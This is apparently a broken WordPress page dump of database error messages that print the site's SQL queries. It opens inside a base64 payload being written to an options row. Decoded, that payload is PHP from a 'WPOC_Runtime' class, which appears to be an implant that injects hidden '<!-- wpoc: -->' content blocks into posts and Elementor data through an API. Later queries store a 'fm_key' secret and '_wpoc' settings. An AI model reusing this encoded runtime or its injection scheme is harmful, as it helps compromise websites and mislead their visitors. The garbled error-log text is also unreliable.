+MSwicmVwbGFjZWQiPT4kcmVwbGFjZWQpKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV9kYnVuaW5qZWN0KCRyKXsKJHA9JHItPmdldF9qc29uX3BhcmFtcygpO2lmKCEkcCl7JHA9JF9QT1NUO30KJGJsb2NrX2lkPWlzc2V0KCRwWyJibG9ja19pZCJdKT9zYW5pdGl6ZV9rZXkoJHBbImJsb2NrX2lkIl0pOiIiOwokc2VhcmNoPWlzc2V0KCRwWyJzZWFyY2giXSk/JHBbInNlYXJjaCJdOiIiOwppZighJGJsb2NrX2lkJiYhJHNlYXJjaCl7cmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJlcnJvciI9PiJtaXNzaW5nIHBhcmFtcyIpKTt9CiRjbGVhbmVkPTA7JGJyZW1vdmVkPTA7Z2xvYmFsICR3cGRiOwokYmxvY2tzPSR0aGlzLT5nZCgiX3dwb2NfYiIpOyRuYj1hcnJheSgpOwpmb3JlYWNoKCRibG9ja3MgYXMgJGIpewokcm09ZmFsc2U7CmlmKGlzc2V0KCRiWyJwbyJdKSYmKCRiWyJwbyJdPT09ImNvbnRlbnRfaW5qZWN0Inx8JGJbInBvIl09PT0iZGJfaW5qZWN0IikpewppZigkYmxvY2tfaWQ9PT0iYWxsIil7JHJtPXRydWU7fQplbHNlaWYoJGJsb2NrX2lkKXskYmlkPSJhaSIuc3Vic3RyKG1kNSgkYlsibm0iXT8/IiIpLDAsOCk7aWYoJGJpZD09PSRibG9ja19pZCl7JHJtPXRydWU7fX0KaWYoJHNlYXJjaCYmISRybSYmaXNzZXQoJGJbImgiXSkmJnN0cmlwb3MoJGJbImgiXSwkc2VhcmNoKSE9PWZhbHNlKXskcm09dHJ1ZTt9Cn0KaWYoJHJtKXskYnJlbW92ZWQrKzt9ZWxzZXskbmJbXT0kYjt9Cn0KaWYoJGJyZW1vdmVkKXskdGhpcy0+c2QoIl93cG9jX2IiLGFycmF5X3ZhbHVlcygkbmIpKTt9CiRwYXRzPWFycmF5KCk7JGxpa2VzPWFycmF5KCk7CmlmKCRibG9ja19pZD09PSJhbGwiKXsKJHBhdHNbXT0iL1xzKjwhLS0gd3BvYzpbYS16MC05XSsgLS0+Lio/PCEtLSBcL3dwb2M6W2EtejAtOV0rIC0tPi9zIjsKJGxpa2VzW109IiV3cG9jOiUiOwp9ZWxzZWlmKCRibG9ja19pZCl7CiRwYXRzW109Ii9ccyo8IS0tIHdwb2M6Ii4kYmxvY2tfaWQuIiAtLT4uKj88IS0tIFwvd3BvYzoiLiRibG9ja19pZC4iIC0tPi9zIjsKJGxpa2VzW109IiV3cG9jOiIuJGJsb2NrX2lkLiIlIjsKfQppZigkc2VhcmNoKXskbGlrZXNbXT0iJSIuYWRkY3NsYXNoZXMoJHNlYXJjaCwiJV8iKS4iJSI7fQpmb3JlYWNoKCRsaWtlcyBhcyAkbGlrZSl7CiRwb3N0cz0kd3BkYi0+Z2V0X3Jlc3VsdHMoJHdwZGItPnByZXBhcmUoIlNFTEVDVCBJRCxwb3N0X2NvbnRlbnQgRlJPTSB7JHdwZGItPnBvc3RzfSBXSEVSRSBwb3N0X3N0YXR1cz0lcyBBTkQgcG9zdF90eXBlIElOICglcywlcykgQU5EIHBvc3RfY29udGVudCBMSUtFICVzIiwicHVibGlzaCIsInBvc3QiLCJwYWdlIiwkbGlrZSkpOwpmb3JlYWNoKCRwb3N0cyBhcyAkcHApewokcGM9JHBwLT5wb3N0X2NvbnRlbnQ7CmZvcmVhY2goJHBhdHMgYXMgJHBhdCl7JHBjPXByZWdfcmVwbGFjZSgkcGF0LCIiLCRwYyk7fQppZigkc2VhcmNoKXskbXg9MTA7d2hpbGUoc3RyaXBvcygkcGMsJHNlYXJjaCkhPT1mYWxzZSYmJG14LS0+MCl7JHBjPXByZWdfcmVwbGFjZSgiL1teLl0qPzxbXj5dKj5bXjxdKiIucHJlZ19xdW90ZSgkc2VhcmNoLCIvIikuIltePF0qPFwvW14+XSo+W14uXSpcLj9ccyovc2kiLCIiLCRwYyk7aWYoc3RyaXBvcygkcGMsJHNlYXJjaCkhPT1mYWxzZSl7JHBjPXByZWdfcmVwbGFjZSgiL1teLl0qIi5wcmVnX3F1b3RlKCRzZWFyY2gsIi8iKS4iW14uXSpcLj9ccyovc2kiLCIiLCRwYyk7fX19CmlmKCRwYyE9PSRwcC0+cG9zdF9jb250ZW50KXt3cF91cGRhdGVfcG9zdChhcnJheSgiSUQiPT4kcHAtPklELCJwb3N0X2NvbnRlbnQiPT4kcGMpKTskY2xlYW5lZCsrO30KfX0KJGVtX2FsbD0kd3BkYi0+Z2V0X3Jlc3VsdHMoIlNFTEVDVCBwb3N0X2lkLG1ldGFfdmFsdWUgRlJPTSB7JHdwZGItPnBvc3RtZXRhfSBXSEVSRSBtZXRhX2tleT0nX2VsZW1lbnRvcl9kYXRhJyBBTkQgbWV0YV92YWx1ZSBMSUtFICclZWRpdG9yJSciKTsKZm9yZWFjaCgkZW1fYWxsIGFzICRlbSl7CiRlZD1AanNvbl9kZWNvZGUoJGVtLT5tZXRhX3ZhbHVlLHRydWUpOwppZighaXNfYXJyYXkoJGVkKSl7Y29udGludWU7fQokbW9kPWZhbHNlOwppZighZnVuY3Rpb25fZXhpc3RzKCJfd3BvY19jbCIpKXtmdW5jdGlvbiBfd3BvY19jbCgmJGVscywmJG1vZCwkcGF0cywkcyl7Zm9yZWFjaCgkZWxzIGFzICYkZWwpe2lmKGlzc2V0KCRlbFsiZWxlbWVudHMiXSkmJmlzX2FycmF5KCRlbFsiZWxlbWVudHMiXSkpe193cG9jX2NsKCRlbFsiZWxlbWVudHMiXSwkbW9kLCRwYXRzLCRzKTt9aWYoIWlzc2V0KCRlbFsic2V0dGluZ3MiXVsiZWRpdG9yIl0pKXtjb250aW51ZTt9JHQ9JGVsWyJzZXR0aW5ncyJdWyJlZGl0b3IiXTskb3JpZz0kdDtmb3JlYWNoKCRwYXRzIGFzICRwYXQpeyR0PXByZWdfcmVwbGFjZSgkcGF0LCIiLCR0KTt9aWYoJHMpeyRtYXg9MTA7d2hpbGUoc3RyaXBvcygkdCwkcykhPT1mYWxzZSYmJG1heC0tPjApeyR0PXByZWdfcmVwbGFjZSgiL1teLl0qPzxbXj5dKj5bXjxdKiIucHJlZ19xdW90ZSgkcywiLyIpLiJbXjxdKjxcL1tePl0qPlteLl0qXC4/XHMqL3NpIiwiIiwkdCk7aWYoc3RyaXBvcygkdCwkcykhPT1mYWxzZSl7JHQ9cHJlZ19yZXBsYWNlKCIvW14uXSoiLnByZWdfcXVvdGUoJHMsIi8iKS4iW14uXSpcLj9ccyovc2kiLCIiLCR0KTt9fX1pZigkdCE9PSRvcmlnKXskZWxbInNldHRpbmdzIl1bImVkaXRvciJdPXRyaW0oJHQpOyRtb2Q9dHJ1ZTt9fX19Cl93cG9jX2NsKCRlZCwkbW9kLCRwYXRzLCRzZWFyY2gpOwppZigkbW9kKXskbmV3X3ZhbD1qc29uX2VuY29kZSgkZWQsSlNPTl9VTkVTQ0FQRURfVU5JQ09ERXxKU09OX1VORVNDQVBFRF9TTEFTSEVTKTskd3BkYi0+dXBkYXRlKCR3cGRiLT5wb3N0bWV0YSxhcnJheSgibWV0YV92YWx1ZSI9PiRuZXdfdmFsKSxhcnJheSgicG9zdF9pZCI9PiRlbS0+cG9zdF9pZCwibWV0YV9rZXkiPT4iX2VsZW1lbnRvcl9kYXRhIikpO2RlbGV0ZV9wb3N0X21ldGEoJGVtLT5wb3N0X2lkLCJfZWxlbWVudG9yX2NzcyIpOyRjbGVhbmVkKys7fQp9CndwX2NhY2hlX2ZsdXNoKCk7CmlmKGNsYXNzX2V4aXN0cygiXEVsZW1lbnRvclxQbHVnaW4iKSl7dHJ5e1xFbGVtZW50b3JcUGx1Z2luOjokaW5zdGFuY2UtPmZpbGVzX21hbmFnZXItPmNsZWFyX2NhY2hlKCk7fWNhdGNoKFxFeGNlcHRpb24gJGUpe319CmlmKGZ1bmN0aW9uX2V4aXN0cygid3BfY2FjaGVfY2xlYXJfY2FjaGUiKSl7d3BfY2FjaGVfY2xlYXJfY2FjaGUoKTt9CmlmKGZ1bmN0aW9uX2V4aXN0cygidzN0Y19mbHVzaF9hbGwiKSl7dzN0Y19mbHVzaF9hbGwoKTt9CmlmKGZ1bmN0aW9uX2V4aXN0cygicm9ja2V0X2NsZWFuX2RvbWFpbiIpKXtyb2NrZXRfY2xlYW5fZG9tYWluKCk7fQppZihjbGFzc19leGlzdHMoIkxpdGVTcGVlZF9DYWNoZV9BUEkiKSl7TGl0ZVNwZWVkX0NhY2hlX0FQSTo6cHVyZ2VfYWxsKCk7fQokdGhpcy0+Y2lfbG9nKCJbZGJfdW5pbmplY3RdIGJsb2NrPSIuJGJsb2NrX2lkLiIgc2VhcmNoPSIuKCRzZWFyY2g/JHNlYXJjaDoibm9uZSIpLiIgYmxvY2tzX3JtPSIuJGJyZW1vdmVkLiIgZGJfY2xlYW5lZD0iLiRjbGVhbmVkKTsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsImNsZWFuZWQiPT4kY2xlYW5lZCwiYmxvY2tzX3JlbW92ZWQiPT4kYnJlbW92ZWQsImJsb2NrX2lkIj0+JGJsb2NrX2lkKSk7Cn0KCn0KCm5ldyBXUE9DX1J1bnRpbWUoKTsK', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = '_wpoc_d' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'timezone_string' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'gmt_offset' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wpoc_rc', '1773696268', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wpoc_rc', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'my_monitoring_enabled' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'cron' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'my_monitoring_send_interval' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'WPLANG' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'template' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'stylesheet' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1773692668;a:1:{s:18:\"my_monitoring_cron\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'fm_key' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('fm_key', 'IKg3e5D6LRiSr4hwp1NfGv9Wl', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'permalink_structure' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'clmusic_user_roles' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'blog_charset' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1773779068;a:1:{s:30:\"wp_site_health_scheduled_check\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"weekly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:604800;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'wp_attachment_pages_enabled' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'category_base' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'tag_base' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'link_manager_enabled' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'siteurl' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'sidebars_widgets' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_pages' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_pages', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_calendar' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_calendar', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_archives' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_archives', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_links' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_links', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_media_audio' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_media_audio', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_media_image' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_media_image', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_media_gallery' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_media_gallery', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_media_video' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_media_video', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_meta' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_meta', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_search' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_search', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_text' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_text', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_categories' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_categories', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_recent-posts' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_recent_entries' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT autoload FROM clmusic_options WHERE option_name = 'widget_recent_entries'
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_recent-posts', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_recent-comments' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_recent_comments' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT autoload FROM clmusic_options WHERE option_name = 'widget_recent_comments'
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_recent-comments', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_rss' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_rss', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_tag_cloud' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_tag_cloud', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_nav_menu' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_nav_menu', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_custom_html' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_custom_html', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'widget_block' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_block', 'a:1:{s:12:\"_multiwidget\";i:1;}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = '_wpoc_fphp_cleaned' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('_wpoc_fphp_cleaned', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'use_smilies' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'stylesheet' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'siteurl' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_name, option_value FROM clmusic_options WHERE option_name IN ('_transient_wp_core_block_css_files','_transient_timeout_wp_core_block_css_files')
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_wp_core_block_css_files', 'a:2:{s:7:\"version\";s:5:\"6.9.4\";s:5:\"files\";a:584:{i:0;s:31:\"accordion-heading/style-rtl.css\";i:1;s:35:\"accordion-heading/style-rtl.min.css\";i:2;s:27:\"accordion-heading/style.css\";i:3;s:31:\"accordion-heading/style.min.css\";i:4;s:28:\"accordion-item/style-rtl.css\";i:5;s:32:\"accordion-item/style-rtl.min.css\";i:6;s:24:\"accordion-item/style.css\";i:7;s:28:\"accordion-item/style.min.css\";i:8;s:29:\"accordion-panel/style-rtl.css\";i:9;s:33:\"accordion-panel/style-rtl.min.css\";i:10;s:25:\"accordion-panel/style.css\";i:11;s:29:\"accordion-panel/style.min.css\";i:12;s:23:\"accordion/style-rtl.css\";i:13;s:27:\"accordion/style-rtl.min.css\";i:14;s:19:\"accordion/style.css\";i:15;s:23:\"accordion/style.min.css\";i:16;s:23:\"archives/editor-rtl.css\";i:17;s:27:\"archives/editor-rtl.min.css\";i:18;s:19:\"archives/editor.css\";i:19;s:23:\"archives/editor.min.css\";i:20;s:22:\"archives/style-rtl.css\";i:21;s:26:\"archives/style-rtl.min.css\";i:22;s:18:\"archives/style.css\";i:23;s:22:\"archives/style.min.css\";i:24;s:20:\"audio/editor-rtl.css\";i:25;s:24:\"audio/editor-rtl.min.css\";i:26;s:16:\"audio/editor.css\";i:27;s:20:\"audio/editor.min.css\";i:28;s:19:\"audio/style-rtl.css\";i:29;s:23:\"audio/style-rtl.min.css\";i:30;s:15:\"audio/style.css\";i:31;s:19:\"audio/style.min.css\";i:32;s:19:\"audio/theme-rtl.css\";i:33;s:23:\"audio/theme-rtl.min.css\";i:34;s:15:\"audio/theme.css\";i:35;s:19:\"audio/theme.min.css\";i:36;s:21:\"avatar/editor-rtl.css\";i:37;s:25:\"avatar/editor-rtl.min.css\";i:38;s:17:\"avatar/editor.css\";i:39;s:21:\"avatar/editor.min.css\";i:40;s:20:\"avatar/style-rtl.css\";i:41;s:24:\"avatar/style-rtl.min.css\";i:42;s:16:\"avatar/style.css\";i:43;s:20:\"avatar/style.min.css\";i:44;s:21:\"button/editor-rtl.css\";i:45;s:25:\"button/editor-rtl.min.css\";i:46;s:17:\"button/editor.css\";i:47;s:21:\"button/editor.min.css\";i:48;s:20:\"button/style-rtl.css\";i:49;s:24:\"button/style-rtl.min.css\";i:50;s:16:\"button/style.css\";i:51;s:20:\"button/style.min.css\";i:52;s:22:\"buttons/editor-rtl.css\";i:53;